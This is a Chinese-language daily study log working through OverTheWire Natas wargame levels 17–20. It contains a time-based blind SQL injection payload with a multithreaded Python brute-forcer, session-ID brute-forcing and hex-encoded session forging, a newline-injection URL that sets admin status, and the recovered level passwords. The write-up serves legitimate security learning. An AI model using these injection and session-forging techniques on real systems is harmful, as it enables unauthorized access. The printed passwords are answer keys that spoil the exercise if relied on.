1625-5 王子昂 总结《2017年8月19日》 【连续第321天总结】
A. Natas
B.
Level 17
本关的源代码与level15相同,只是把echo语句注释掉了
那么很容易想到,返回值全部被隐藏的时候,使用sql时间盲注
即虽然页面没有显示,但是可以通过sleep()函数的执行与否来反馈
具体构造爆username的shellcode为:
SELECT * from users where username=""or left(username,1)="a" and sleep(5) and "1"="1"
通过and的特性,如果前表达式返回True再执行后表达式,可以达到判断的效果
可以通过观察页面打开时间(脚本中设置timeout参数)来确定sleep()是否有执行,如果执行说明前表达式执行正确,否则执行错误
脚本同样在之前的基础上稍加改动即可:
reqdata={'username':'natas18\" and ascii(substr(password,'+str(i)+',1))=ascii(\"'+ string + '\")and sleep(20) and "1"="1'}
reqdata = parse.urlencode(reqdata).encode('utf-8')
req=request.Request(url,data=reqdata,headers=headers)
try:
page=request.urlopen(req,timeout=2)
except socket.timeout:
return True//sleep()成功执行,说明string正确
return Flase
这里可能跟自己的网速有关系,如果sleep函数未执行的延时都不小的话就需要调整一下timeout参数了(
测试了一下在等待的时候如果浏览别的网页/打开视频就会使得此处timeout大大加长,因此为了稳定下可以给多一些的timeout,例如5s
本来想着如果网速较差,timeout较大的话可能速度会比较感人,需要用多线程
但是大概看了一下多线程需要对整体结构做调整,结果处理完全没思路,本身的速度也差强人意,于是就懒得搞啦~
又想了一下,由于比较ascii所以pw之间是独立的爆破,完全可以用多线程啦~
修改脚本:
#在初始化函数中声明self.pw=[0 for x in range(32)]
def brute(self,key,i):
for char in self.chars:
string=chr(char)
result=self.httpcon(string,i)
if(result):
self.pw[i-1] = string#将爆出的结果存入结果中
print(i, string)
# self.brute(string, i + 1)
break
def run(self):
ls_thread=[]
for i in range(32):
t=threading.Thread(target=self.brute,args=('',i+1))#每个字符给予一个线程
ls_thread.append(t)
t.start()
for t in ls_thread:
t.join()#等待所有线程完成
print("Finished.\nThe password is ", "".join(self.pw))
顺便附上感觉不错的盲注的学习页面:http://www.jianshu.com/p/65f05e7cc957
先爆出username为natas18,然后爆出password:
The password is xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18
这次的PHP脚本是一个Session登录的模拟
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
服务器检索Cookies中保存的SessionID,库中没有则新建,有则检查admin值
由于isValidAdminLogin()只会对admin赋0,因此新的SessionID是不可通过的
那么只能寻找本来就存在的SessionID,脚本中提示了最大值为640,因此写脚本爆破即可
将headers中添加cookie项,并修改PHPSESSID
多线程几秒钟就能爆出ID=138时admin=1,得到pw:
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
Level 19
这次不显示脚本,提示sessions ID不连续
抓包观察SessionID为”3236382d61646d696e”
32这个数字是’2’的十六进制ASCII
大体扫下去基本都不超出ASCII的范围,那写一个脚本转换一下试试
发现它果然是“268-admin”的ASCII
那就很简单了,跟上一题一样,只是稍微多一步转换过程
跑出SessionID为”89-admin”的ASCII“38392d61646d696e”,pw:
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20
本次的PHP脚本大致流程为
首先合法校验,检测sessionID是否只有数字和字母
通过后读取以ID为文件名的文件,若空则新建
以\n为分隔符,然后空格分隔Key和Value
若admin=1则成功
由于sessionID进行了合法性校验,因此无法直接读取密码文件的信息
但username没有校验,因此可以在其中注入’\nadmin 1’使读取的时候对Session进行修改
URL为
http://natas20.natas.labs.overthewire.org/index.php?debug&name=123 %0Aadmin 1
注意直接输入’\n’是不会被写入文件的,因此需要通过URL编码绕一下
得到pw:
IFekPyrQXftziDEsUr3x21sYuahypdgJ
C. 明日计划
NATAS